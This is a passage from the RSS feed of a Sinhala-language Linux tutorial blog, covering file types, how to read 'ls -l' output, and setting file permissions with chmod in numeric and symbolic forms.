&lt;li&gt;&lt;b&gt;උදා 2 :-&lt;/b&gt; ෆයිල් එක අයිති පරිශීලකයාට &lt;b&gt;පමණක්&lt;/b&gt; කියවීමට හා වෙනස් කිරීමට අවසරත්, අනෙක් පාර්ශව සඳහා කියවීමට පමණක් අවසර ලබාදිමට, එනම් ආකාරයේ (&lt;b&gt;rw-r--r--&lt;/b&gt;) අවසරයක්&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chmod 644 file_name&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
පේනවනේ මේ ක්‍රමය භාවිතා කරලා ෆයිල් එකක අවසර සැකසීම සිදු කරන එක හරිම &lt;b&gt;ලේසි&lt;/b&gt; වැඩක්.&lt;br /&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;සංකේත (අක්ෂර) භාවිතයෙන් අවසර සැකසීම.&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;මේ ක්‍රමයත් ගොඩාක් ලේසි ක්‍රමයක්. මෙහිදී දැනගන්න ඕනේ අවසර සැකසීමට අදාල &lt;b&gt;අක්ෂර&lt;/b&gt; කිහිපයක් තියෙනවා. දැනටමත් &lt;b&gt;r&lt;/b&gt;, &lt;b&gt;w&lt;/b&gt; හා &lt;b&gt;x&lt;/b&gt; කියන අක්ෂර වල තේරුම දන්නවනේ. ඉතිරි ටික පහත දක්වලා තියෙනවා.&lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;
  &lt;caption&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;පරිශීලකයන්&lt;/b&gt;&lt;/span&gt;&lt;/caption&gt;
  &lt;tbody&gt;
&lt;tr&gt;
    &lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;අක්ෂරය&lt;/span&gt;&lt;/th&gt;
    &lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;අර්ථය&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;විස්තරය&lt;/span&gt;&lt;/th&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;u&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;user&lt;/td&gt;
    &lt;td&gt;හිමිකරු&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;g&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;group&lt;/td&gt;
    &lt;td&gt;කණ්ඩායම&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;o&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;other&lt;/td&gt;
    &lt;td&gt;වෙනත්&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;a&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;all&lt;/td&gt;
    &lt;td&gt;සියල්ලන්ම&lt;/td&gt;
  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
මේ විකල්ප විධාන වල අර්ථයත් දැන ගැනීම ප්‍රයෝජනවත් වේවී.&lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;
  &lt;caption&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;ක්‍රියාව&lt;/b&gt;&lt;/span&gt;&lt;/caption&gt;
  &lt;tbody&gt;
&lt;tr&gt;
    &lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;සංකේතය&lt;/span&gt;&lt;/th&gt;
    &lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;අර්ථය&lt;/span&gt;&lt;/th&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;+&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;ලබාදෙන අවසරය එකතු කරන්න.&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;-&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;ලබාදෙන අවසරය ඉවත් කරන්න.&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
    &lt;td&gt;&lt;b&gt;=&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;ලබාදෙන අවසර තත්වයට පත්කරන්න.&lt;/td&gt;
  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
දැන් ඉතින් අපි බලමු කොහොම්ද මේ ක්‍රමයෙන් අවසර සැකසීම සිදු කරන්නේ කියලා.&lt;ul&gt;
&lt;li&gt;උදා 1 :- සියළුම පාර්ශව සඳහා &lt;b&gt;කියවීමට පමණක්&lt;/b&gt; අවසර ලබා දීම.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;$ chmod a=r file_name&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&amp;nbsp;මේ විධානයෙන් අනතුරුව අදාල ෆයිල් එකේ අවසර තත්වය r--r--r-- ආකාරයට සකස් වේ. පරීක්ෂා කර බලන්න.&lt;/li&gt;
&lt;li&gt;උදා 2 :- පරිශිලක කණ්ඩායම සඳහා ක්‍රියාත්මක කිරීමට හා වෙනස් කිරීමට අවසරය ලබා දීම.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chmod g+rx file_name&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;උදා 3 :- හිමිකරුගෙන් හා කණ්ඩායමෙන් වෙනස් කිරීමේ හා ක්‍රියාත්මක කිරීමේ අවසරය ඉවත් කිරීම.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chmod ug-rx file_name&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
ෆයිල්ස් වල අවසර තත්වයන් සහ හිමිකාරීත්වය පාඩම් මාලා 3න් අපි ලිනක්ස් පද්ධතියක භාවිතා වන ෆයිල් වර්ග පිළිබඳවත්, ඒවායේ අවසර තත්වයන් හා හිමිකාරීත්ය පිළිබඳවත්, එම අවසර තත්වයන් වෙනස් කරන ආකාරය පිළිබඳවත් දීර්ඝ වශයෙන් සාකච්ඡා කලා. මෙම අවසර තත්වයන් පිළිබඳව දැනීම &lt;b&gt;ඉදිරියේදී&lt;/b&gt; ඔබට ගොඩාක් ප්‍රයෝජනවත් වේවී. සමහර කාර්‍යයන් සිදු කරගැනීමේදි අපිට අප භාවිතා කරන ෆයිල් වල අවසර තත්වයන් වෙනස් කිරීමට සිදු වෙනවා. ඒ වගේ අවස්ථා &lt;b&gt;ලිනක්ස්&lt;/b&gt; එක්ක ඉස්සරහට යද්දි අපිට හම්බවේවී. &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;ඉතින් මේ කියවීමෙන් ලබාගත් දැනුම ඔබේම අත්දැකීමක් කරගන්න. විවිධ විවිධ වූ අත්හදා බැලීම කරන්න. ඉගෙන ගන්න තියෙන වේගවත්ම ක්‍රමය තමා ඒක.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;සටහන:&lt;/span&gt; අපි මෙතනදී සාකච්ඡා නොකල එකම දේ තමයි ෆයිල් එකක හිමිකාරිත්වය හා එය අඩංගු කණඩායම වෙනස් කරන ආකාරය.ඒ පිළිබඳව සම්පූර්ණ ලිපියක් බලාපොරොත්තු වන්න.&lt;/b&gt;</description><link>http://linux-sinhala.blogspot.com/2012/10/learn-linux-8.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>9</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-9069396027213437136</guid><pubDate>Mon, 08 Oct 2012 19:14:00 +0000</pubDate><atom:updated>2012-10-09T00:44:46.076+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Unix</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ෆයිල්ස් වල අවසර තත්වයන් සහ හිමිකාරීත්වය 2 - ලිනක්ස් පාඩම් මාලාව #7</title><description>&amp;nbsp;පසුගිය &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/10/learn-linux-6.html&quot; target=&quot;_blank&quot;&gt;ලිපියෙන්&lt;/a&gt; මේ අවසර තත්ව හා හිමිකාරිත්වය එහෙමත් නැත්තම් permissions ගැන මූලික වැටහීමක් ලැබෙන්න ඇතිනේ. අද අපි සාකච්ඡා කරන්න යන්නේ එම පාඩමේ දෙවන කොටස. අපි අද බලමු අපේ පද්ධතියේ තියෙන ෆයිල්ස් වල මෙම අවසර තත්ව හා හිමිකාරීත්වය පරීක්ෂා කරන හැටි හා ඒවා වෙනස් කරන්නේ කොහොමද කියලා.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;අවසර තත්වයන් පරික්ෂා කරමු.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;දැන් අපි යම් ගොනුවක හෝ ෆයිල් එකක අවසර තත්වයන් හා හිමිකාරීත්වය පරීක්ෂා කරමු. මේ සඳහා මූලිකවම භාවිතා කරන්නේ අපි ලිනක්ස් විධාන ලිපියේ සාකච්ඡා කල &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;ls&lt;/b&gt;&lt;/span&gt; විධානයයි. මෙසේ හිමිකාරීත්වය හා අවසර තත්වය පරීක්ෂා කිරීම සඳහා විධානයට &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;l&lt;/b&gt;&lt;/span&gt; යනුවෙන් විකල්ප විධානයක් ලබා දීම අවශ්‍යය වෙනවා.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;එවිට සම්පූර්ණ විධානය පහත ආකාරයෙන් දැක්විය හැකිය.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;$ ls -l&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
මෙම විධානය ඔබගේ ටර්මිනලයට copy &amp;amp; paste කර බලන්න.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigf0nQfMmgT4RIXZDVVafZpAP-bpma6sKOl1OrLVhc-6r5JyOGbCgu3cO8p5-yBfFgyJfBBP1hzf57gEMRYDOahx9Z5ax1ckIQHGEwXYhP3ifetXZWDJhPIJvWejpObsOytS6-QpuQmFk/s1600/permisson.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;313&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigf0nQfMmgT4RIXZDVVafZpAP-bpma6sKOl1OrLVhc-6r5JyOGbCgu3cO8p5-yBfFgyJfBBP1hzf57gEMRYDOahx9Z5ax1ckIQHGEwXYhP3ifetXZWDJhPIJvWejpObsOytS6-QpuQmFk/s320/permisson.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
බැලූබැල්මට ටිකක් විතර පැටලලි සහගතයි නේද..? හරි පොඩ්ඩක් ඔහොම ඉන්න අපි දැන් ඉහත විධානය අපිට ලබාදුන් ප්‍රථිඵලය විශ්ලේෂණය කර බලමු.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;අවසර තත්වය අවබෝධ කරගනිමු.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXSWdtQFwur0rcrK3_Bt5EpWodSVN4werXw_Sdn0yKMAmd2cvZYIazXSF14cnC-nTrys7SWn_AQiH3tYQEeiCaXWqcJbncG0UEO5AuPkDthnCSM29AksDqD2LL7C8s-lVNYaLMxTNYjIA/s1600/upload.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;147&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXSWdtQFwur0rcrK3_Bt5EpWodSVN4werXw_Sdn0yKMAmd2cvZYIazXSF14cnC-nTrys7SWn_AQiH3tYQEeiCaXWqcJbncG0UEO5AuPkDthnCSM29AksDqD2LL7C8s-lVNYaLMxTNYjIA/s400/upload.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
දැන් මේ පිළිබඳව විස්තරාත්මකව සාකච්ඡා කරමු. &lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;වර්ගය (Type)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;ලිපියේ මුලින්ම ලිනක්ස් වල භාවිතා කරන &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/10/learn-linux-6.html&quot; target=&quot;_blank&quot;&gt;ෆයිල් වර්ග&lt;/a&gt; පිළිබඳව හැඳින්වීමක් සිදු කලානේ. මෙතන මේ &lt;b&gt;පළවෙනි අක්ෂරයෙන්&lt;/b&gt; දක්වා තිබෙන්නේ අදාල ෆයිල් එක අයත් වර්ගය පිළිබඳවයි.&lt;br /&gt;පහත දක්වා තිබෙන්නේ ඒ ඒ අක්ෂර වල තේරුමය.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; d&amp;nbsp; = ගොනුවක් ෆෝල්ඩරයක්/ඩිරෙක්ටරයක්&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;nbsp; = සාමාන්‍යය ෆයිල් එකක්.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; l&amp;nbsp;&amp;nbsp; = මෘදු සම්බන්ධකයක්.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c&amp;nbsp; = character උපකරණ ෆයිල් එකක්&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b = block උපකරණ ෆයිල් එකක්&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s&amp;nbsp; = Unix domain socket&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p = named pipe&lt;/b&gt;&lt;/blockquote&gt;
&amp;nbsp;මෙහි අවසානයට දක්වා ඇති &lt;i&gt;Unix domain socket&lt;/i&gt; හා &lt;i&gt;named pipe&lt;/i&gt; ෆයිල්ස් පිළිබඳව පසුව සාකච්ඡා කරමු.&lt;br /&gt;&lt;i&gt;උදාහරණයක් ලෙස අප ඉහත පරීක්ෂා කල ෆයිල් එක ඩිරෙක්ටරයක් එහෙමත් නැත්තම් ෆෝල්ඩරයක් ලෙස දැක්වීමට d අකුර භාවිතා කර තිබෙනවා.&lt;/i&gt;&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;අවසර තත්වය (Permissions)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මෙම &lt;b&gt;දෙවන&lt;/b&gt; කොටසින් පෙන්වා ඇත්තේ ෆයිල් එකෙහි අවසර තත්වයන්ය. ඇත්තටම පෙර සාකච්ඡා කල පරිදි මෙම අවසර&lt;b&gt; වර්ග 3&lt;/b&gt; භාවිතා කරන &lt;b&gt;කොටස් 3ට&lt;/b&gt; වෙන් වෙන් වශයෙන් &lt;b&gt;අවසර තත්ව 9ක්&lt;/b&gt; මෙහි දැක්වේ. මුලින්ම අවසර තත්වයන් නිරූපණය කිරීමට යොදාගන්නා සංකේත දැනගනිමු.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r&amp;nbsp;&amp;nbsp; = read permission කියවීමට ඇති අවසරය.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w = write permission ලිවීමට (වෙනස් කිරීමට ඇති අවසරය.)&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x&amp;nbsp; = execute permission ක්‍රියාත්මක කිරීමට ඇති අවසරය.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;nbsp; = no permission කිසිදු අවසරයක් නොමැත.&lt;/b&gt;&lt;/blockquote&gt;
&amp;nbsp;හොඳයි රූපයේ 2 කොටසේ මුලින්ම දක්වා ඇත්තේ ෆයිල් එකෙහි &lt;b&gt;අයිතිකරු&lt;/b&gt; එහෙමත් නැත්තම් එය නිර්මාණය කල පරිශීලකයාට ඇති අවසර තත්වයයි. &lt;i&gt;මෙම උදාහරණය අනුව අයිතිකරුට තිබෙන්නේ &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;rwx&lt;/span&gt;&lt;/b&gt; ආකාරයේ අවසරයන්ය. එනම් ෆයිල් එක කියවීමට, ලිවීමට සහ ක්‍රියාත්මක කිරීමට ඇති අවසරයයි.&lt;/i&gt;&lt;br /&gt;මීළඟට ඇති අකුරු 3න් දැක්වෙන්නේ &lt;b&gt;කණ්ඩායමට&lt;/b&gt; ඇති අවසර තත්වයන්ය. &lt;i&gt;මෙම උදාහරණය අනුව කණ්ඩායම සඳහා&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt; r-x&lt;/b&gt;&lt;/span&gt; ආකාරයේ අවසරයන් පවතී. එනම් මෙම ෆයිල් එක වෙනස් කිරීමට කණ්ඩායමට &lt;b&gt;අවසර නැත&lt;/b&gt;.&lt;/i&gt;&lt;br /&gt;මෙම අවසර තත්වයන් සංකේතවත් කරන අකුරු 9යෙන් අවසාන අකුරු 3 අදාල වන්නේ &lt;b&gt;වෙනත් පාර්ශවයන්ට&lt;/b&gt; තිබෙන අවසර තත්වයන් නිරූපණයටයි. &lt;i&gt;මෙම උදාහරණය අනුව වෙනත් පාර්ශවය සඳහා &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;r-x&lt;/b&gt;&lt;/span&gt; ආකාරයේ අවසරයක් ලබා දී ඇති බව නිරූපණය කෙරේ. &lt;/i&gt;එහි අර්ථය වෙනත් පාර්ශව සඳහා මෙම ෆයිල් එක වෙනස් කිරීමට එනම් මෙම ෆයිල් එකට දත්ත ඇතුලු කරන්න, ඉවත් කරන්න හෝ වෙනස් කිරීමට අවසර &lt;b&gt;නොමැති&lt;/b&gt; බවය.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;සම්බන්ධක ගණන (Links)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මෙම &lt;b&gt;3&lt;/b&gt; කොටසේ දක්වා ඇත්තේ අදාල ෆයිල් එක හා සම්බන්ධ දෘඩ &lt;b&gt;සම්බන්ධක&lt;/b&gt; වල එකතුවයි.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;අයිතිකරු (Owner)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මෙම කොටසින් නිරූපණය වන්නේ ෆයිල් එකෙහි &lt;b&gt;හිමිකම&lt;/b&gt; ඇති &lt;b&gt;පරිශීලකයාගේ&lt;/b&gt; නමය. සාමාන්‍යයෙන් ෆයිල් එකක අයිතිය හිමිවන්නේ එය නිර්මාණය කල පරිශීලකයාටයි.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;කණ්ඩායම (Group)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මෙම කොටසින් අදාල ෆයිල් එක අයිති පරිශීලකයා අයත් &lt;b&gt;පරිශීලක කණ්ඩායම&lt;/b&gt; නිරූපණය කෙරේ.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;ප්‍රමාණය (Size)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;අදාල ෆයිල් එකෙහි ප්‍රමාණය බයිට්(B) වලින් මෙම කොටසින් දැක්වේ.&lt;i&gt; ඕනෑම ඩිරෙක්ටරයක ප්‍රමාණය බයිට් 4096ක් බව පරික්ෂා කිරීමේදී දැනගත හැකිවේ.&lt;/i&gt; මෙයින් දැක්වෙන්නේ ඩිරෙක්ටරයක ප්‍රමාණය මිසක් එහි අන්තර්ගතයේ ප්‍රමාණය &lt;b&gt;නොවේ&lt;/b&gt;.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;දිනය (Date)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;අදාල ෆයිල් එක &lt;b&gt;නිර්මාණය&lt;/b&gt; කල &lt;b&gt;දිනය&lt;/b&gt; මෙහි දැක්වේ.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;වේලාව (Time)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මෙම කොටසින් අදාල ෆයිල් එක &lt;b&gt;නිර්මාණය&lt;/b&gt; කල &lt;b&gt;වේලාව&lt;/b&gt; 24 පැය ආකාරයෙන් දැක්වේ.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;u&gt;&lt;b&gt;නම (File Name)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;අදාළ ෆයිල් එකෙහි &lt;b&gt;නම&lt;/b&gt; මෙම කොටසින් දැක්වේ.&lt;/li&gt;
&lt;/ol&gt;
දැන් ඔබට ඔබගේ පද්ධතියේ පවතින ඕනෑම ෆයිල් එකක අවසර තත්වය හා එහි හිමිකාරීත්වය පරීක්ෂා කල හැකිය. කියවීමෙන් පමණක් මෙවැනි දේවල් නිසියාකාරව &lt;b&gt;ඉගෙනගත නොහැකිය&lt;/b&gt;. ඔබ විසින්ම සිදු කරන්නා වූ &lt;b&gt;අභ්‍යාස&lt;/b&gt; වලින් දන්න දේ ඔබට තවත් පුළුල් කර ගැනීමට හැකිය. එම නිසා ඉහත ඔබ විසින් ඉගෙනගත්ත දේවල් නැවත නැවත භාවිතා කර බලන්න.&lt;br /&gt;
&lt;b&gt;&amp;nbsp;මෙම අවසර තත්වයන් වෙනස් කිරීම පිළිබඳව මීළඟ ලිපියෙන් අපි විස්තරාත්මකව සාකච්ඡා කරමු.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://linux-sinhala.blogspot.com/2012/10/learn-linux-7.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigf0nQfMmgT4RIXZDVVafZpAP-bpma6sKOl1OrLVhc-6r5JyOGbCgu3cO8p5-yBfFgyJfBBP1hzf57gEMRYDOahx9Z5ax1ckIQHGEwXYhP3ifetXZWDJhPIJvWejpObsOytS6-QpuQmFk/s72-c/permisson.png" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-3634055229890695324</guid><pubDate>Mon, 08 Oct 2012 14:18:00 +0000</pubDate><atom:updated>2012-10-09T00:47:48.103+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">superuser</category><category domain="http://www.blogger.com/atom/ns#">Unix</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ෆයිල්ස් වල අවසර තත්වයන් සහ හිමිකාරීත්වය 1 - ලිනක්ස් පාඩම් මාලාව #6</title><description>&amp;nbsp;ඔබට මතක ඇති මෙම ලිනක්ස් සිංහලෙන් පාඩම් මාලාව &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-1.html&quot; target=&quot;_blank&quot;&gt;ආරම්භක ලිපියෙන් &lt;/a&gt;ලිනක්ස් පද්ධතියක මූලිකාංග ගැන කථා කලා. ඉන්පස්සේ අපි &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-2.html&quot; target=&quot;_blank&quot;&gt;ගොනු නිර්මාණය&lt;/a&gt; වී ඇති ආකාරය පිළිබඳව කථා කලා. ඊටත් පස්සේ එම &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-3.html&quot; target=&quot;_blank&quot;&gt;ගොනු සහ ෆයිල්ස් පරිහරණය&lt;/a&gt; කරන ආකාරය පිළිබඳව කථා කලා.&lt;br /&gt;
අද අපි කථා කරන්න යන්නේ එම ෆයිල්ස් හා ගොනු වල අවසර තත්වයන් හා හිමිකාරීත්වය පිළිබඳව. ඔබ මෙතෙක් භාවිතා කර තිබෙන්නේ &lt;i&gt;&lt;b&gt;වින්ඩෝස්&lt;/b&gt;&lt;/i&gt; සංස්කරණයක මෙහෙයුම් පද්ධතියක් නම් ඔබට මේ ගැන&amp;nbsp; කිසිම අවබෝධයක් නැතුවාට සැකයක් නෑ. මොකද මං කලිනුත් කිව්වා වාගේ වින්ඩෝස් වැනී මෙහෙයුම් පද්ධති අපේ සිතීමේ හැකියාව, බුද්ධියෙන් හිතලා වැඩක් කිරීමේ හැකියාව මොට කරනවා. ඒ නිසා අද පාඩමින් මේ පිළිබඳව &lt;b&gt;මූලික සංකල්ප&lt;/b&gt; වල සිට පැහැදිලි කරන්න මං හිතුවා.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
ගොනු නිර්මිතය පාඩමින් කථා කිරීමට අතපසු වෙච්චි තවත් වැදගත් තැනකින් අද පාඩම පටන් ගන්නම්.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;Linux/Unix වල භාවිතා කරන ෆයිල් වර්ග.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;ලිනක්ස්&lt;/b&gt; හෝ ලිනක්ස් නිර්මාණය කල &lt;b&gt;Unix&lt;/b&gt; ආශ්‍රිත පද්ධතියක හෝ තිබෙන ඕනෑම ෆයිල් එකක් පහත සඳහන් ආකාර &lt;b&gt;හතර&lt;/b&gt; අතුරින් කුමන හෝ වර්ගයකට අයත් වේ.&lt;br /&gt;
&lt;ol&gt;
